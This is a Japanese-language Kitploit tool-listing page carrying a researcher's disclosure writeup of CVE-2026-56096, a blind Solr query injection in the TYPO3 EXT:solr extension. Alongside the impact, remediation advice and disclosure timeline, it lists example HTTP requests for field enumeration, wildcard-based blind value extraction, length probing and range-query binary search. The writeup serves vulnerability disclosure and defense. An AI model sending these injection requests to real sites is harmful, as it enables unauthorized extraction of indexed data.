Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-56096 — CVE-2026-56096の概念実証および技術解説。TYPO3 EXT:solrにおけるブラインドSolrクエリインジェクションで、未認証でのフィールド列挙とデータ抽出を可能にする。 | Kitploit
ツール/GitHubGitHub/yairhinkis/cve-2026-56096
脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集ウェブセキュリティ論文と研究
GitHubyairhinkis/cve-2026-56096

CVE-2026-56096

CVE-2026-56096の概念実証および技術解説。TYPO3 EXT:solrにおけるブラインドSolrクエリインジェクションで、未認証でのフィールド列挙とデータ抽出を可能にする。

リポジトリを見る
9時間53分前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-56096: TYPO3 EXT:solr における Solr クエリインジェクションとブラインドデータ抽出

公式の TYPO3 Apache Solr 拡張機能(EXT:solr / apache-solr-for-typo3/solr)にアーキテクチャ上のセキュリティ脆弱性が発見されました。この問題により、未認証のリモート攻撃者が検索パラメータ tx_solr[q] を介して任意の Solr/Lucene クエリ構文を注入でき、検索インデックスからの不正なブラインドフィールド列挙および完全なメタデータ抽出が可能になります。


メタデータ

  • CVE ID: CVE-2026-56096
  • 脆弱性の種類: CWE-943: データクエリロジックにおける特殊要素の中和不備
  • 対象コンポーネント: EXT:solr(検索パラメータ: tx_solr[q])
  • CVSS v4.0 スコア: 6.3 (Medium) — CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
  • 研究者: Yair Hinkis

脆弱性の概要

EXT:solr 拡張機能は、tx_solr[q] パラメータを介してユーザー提供の検索語を受け取り、それらを Apache Solr エンジンに転送します。設計上、この拡張機能はワイルドカード(*)、単一文字ワイルドカード(?)、フィールドセレクタ(:)、範囲クエリ([a TO z])といった特定のクエリ演算子を許可し、ファセットフィルタリングなどの正規の機能をサポートしています。

これらの文字が、強制力のあるホワイトリストやクエリアブストラクションレイヤーを経由せずにバックエンドのクエリ構築に直接渡されていたため、攻撃者はフィールド固有の構文を供給して意図された検索境界を脱出できます。これにより、未認証ユーザーが内部 Solr フィールドを直接クエリし、ブールベースのブラインドテクニックを用いてインデックスデータを抽出することが可能になります。


攻撃テクニック

1. field:* によるフィールド列挙

任意または推測されたフィールド名にワイルドカードを付加することで、攻撃者はそのフィールドがスキーマ内に存在するかどうかを検証できます:

root@kitploit:~
GET /search?tx_solr[q]=siteHash:* HTTP/1.1
Host: target.example.com

フィールドが存在する場合、Solr は一致するすべてのレコードに対してクエリを処理し(多くの場合、異なるレスポンスコードやボリューム関連の挙動を引き起こします)、自動化されたワードリストベースのフィールド列挙が可能になります。


2. プレフィックスワイルドカードによるブラインド値抽出

攻撃者はブール推論を用いて、機密性の高いフィールド値を 1 文字ずつ抽出できます:

root@kitploit:~
GET /search?tx_solr[q]=siteHash:a* HTTP/1.1  --> Returns search hits (Value begins with 'a')
GET /search?tx_solr[q]=siteHash:b* HTTP/1.1  --> "Nothing found" (Value does not begin with 'b')


3. ? 演算子による長さ検出

単一文字ワイルドカード演算子(?)は、文字の反復処理を開始する前に、格納された文字列の正確な長さを判定できます:

root@kitploit:~
GET /search?tx_solr[q]=siteHash:????????????* HTTP/1.1   (Checks for 12+ characters)
GET /search?tx_solr[q]=siteHash:?????????????* HTTP/1.1  (Checks for 13+ characters)


4. 高速化された範囲クエリ([a TO z])

範囲クエリは、先頭文字に対する二分探索抽出を可能にし、文字位置ごとに必要なリクエスト数を 26 回から約 5 回に削減します:

root@kitploit:~
GET /search?tx_solr[q]=siteHash:[a TO m] HTTP/1.1  --> Determines if character falls within 'a'-'m'
GET /search?tx_solr[q]=siteHash:[n TO z] HTTP/1.1  --> Determines if character falls within 'n'-'z'

長さ検出、範囲クエリ、プレフィックスワイルドカードを組み合わせることで、最小限のリクエストフットプリントで完全なフィールド抽出が可能になります。


影響

  • 機密性の侵害: Apache Solr にインデックスされたすべてのフィールド(内部システムハッシュ、非表示のページコンテンツ、ユーザー関連メタデータ、システム識別子など)の完全な抽出。
  • アクセス制御のバイパス: フロントエンドの検索フィルターおよび TypoScript の表示制限をバイパスします。
  • 範囲: EXT:solr 検索エンドポイントを利用するすべてのデフォルトインストールに影響しました。

修復

* や : といった演算子は意図された検索機能を提供するため、グローバルな文字エスケープでは不十分です。修復にはアプリケーション層のホワイトリストとパースモデルが必要です:

  1. Solr エンジンにディスパッチする前に、ユーザー提供のクエリ文字列を抽象構文木(AST)にパースします。
  2. 許可されるフィールドターゲットに対して厳格な許可リストを適用し、内部または制限されたフィールドに対する直接的なユーザークエリを禁止します。
  3. 信頼できない入力コンテキストに起因する、ホワイトリストに含まれない演算子の悪用を無効化します。

協調的開示のタイムライン

  • 2026年3月6日: 許可された評価中に脆弱性を特定。ベンダーへの初回通知。
  • 2026年4月17日: ベンダーがローカルエッジでの緩和策を実装。上流のバグの性質を確認。
  • 2026年5月8日: TYPO3 セキュリティチーム([email protected])に正式な脆弱性レポートを提出。
  • 2026年6月15日: TYPO3 セキュリティチームが再現を確認し、拡張機能メンテナーとともにパッチ開発を開始。
  • 2026年8月25日: 公式セキュリティ速報が発行され、パッチが公開され、CVE-2026-56096 が割り当てられました。

参考資料

  • TYPO3 セキュリティアドバイザリ: TYPO3-EXT-SA-2026-025
  • CWE 定義: CWE-943: データクエリロジックにおける特殊要素の中和不備
ツールをダウンロード